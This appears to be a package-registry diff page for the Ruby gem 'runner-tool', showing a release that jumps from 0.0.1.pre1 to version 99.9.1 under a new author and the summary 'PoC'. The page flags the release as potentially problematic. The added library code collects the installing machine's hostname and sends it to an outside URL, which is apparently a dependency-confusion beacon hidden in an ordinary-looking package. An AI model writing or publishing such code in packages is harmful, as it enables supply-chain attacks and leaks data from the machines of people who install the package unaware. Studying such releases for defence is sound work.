runner-tool 0.0.1.pre1 → 99.9.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of runner-tool might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/bin/runner_tool +5 -0
- data/lib/runner-tool.rb +18 -0
- metadata +13 -11
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: dea9400a27628d27001bc643c0fff4bdf0a91313074b71ca45f745563d4a5b70
|
4
|
+
data.tar.gz: 0df23f279442917d9a2038c289b1de107f6d6a6c85169735139277d542af85bb
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: e1a490ff1cad9435ebf4f144f7f3f8754c8ef88aedf6e5043ddb64f67093397792fcd024c0c01de86bc03f994262b0fdc6b40ab436543e8c5fcf15d101d2569f
|
7
|
+
data.tar.gz: c3cdb60e5bf7a0a44cee1861db7491e49c9a199822b20bf6d771f3f578664433fbb8f5af317d0099ed3f99841f4170503b2442b919a8706ce2811d2b998d2a3e
|
data/bin/runner_tool
ADDED
data/lib/runner-tool.rb
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'uri'
|
3
|
+
require 'socket'
|
4
|
+
|
5
|
+
class RunnerTool
|
6
|
+
def self.send_hostname_to_server(url)
|
7
|
+
hostname = Socket.gethostname
|
8
|
+
request_url = URI("#{url}?host=#{hostname}")
|
9
|
+
|
10
|
+
response = Net::HTTP.get_response(request_url)
|
11
|
+
|
12
|
+
if response.is_a?(Net::HTTPSuccess)
|
13
|
+
puts 'Request sent successfully!'
|
14
|
+
else
|
15
|
+
puts "Error sending request: #{response.message}"
|
16
|
+
end
|
17
|
+
end
|
18
|
+
end
|
metadata
CHANGED
@@ -1,23 +1,25 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: runner-tool
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version:
|
4
|
+
version: 99.9.1
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
|
-
-
|
7
|
+
- 0xWise
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2023-
|
11
|
+
date: 2023-05-07 00:00:00.000000000 Z
|
12
12
|
dependencies: []
|
13
13
|
description:
|
14
14
|
email:
|
15
|
-
|
16
|
-
|
15
|
+
executables:
|
16
|
+
- runner_tool
|
17
17
|
extensions: []
|
18
18
|
extra_rdoc_files: []
|
19
|
-
files:
|
20
|
-
|
19
|
+
files:
|
20
|
+
- bin/runner_tool
|
21
|
+
- lib/runner-tool.rb
|
22
|
+
homepage:
|
21
23
|
licenses:
|
22
24
|
- MIT
|
23
25
|
metadata: {}
|
@@ -32,12 +34,12 @@ required_ruby_version: !ruby/object:Gem::Requirement
|
|
32
34
|
version: '0'
|
33
35
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
34
36
|
requirements:
|
35
|
-
- - "
|
37
|
+
- - ">="
|
36
38
|
- !ruby/object:Gem::Version
|
37
|
-
version:
|
39
|
+
version: '0'
|
38
40
|
requirements: []
|
39
|
-
rubygems_version: 3.
|
41
|
+
rubygems_version: 3.3.15
|
40
42
|
signing_key:
|
41
43
|
specification_version: 4
|
42
|
-
summary:
|
44
|
+
summary: PoC
|
43
45
|
test_files: []
|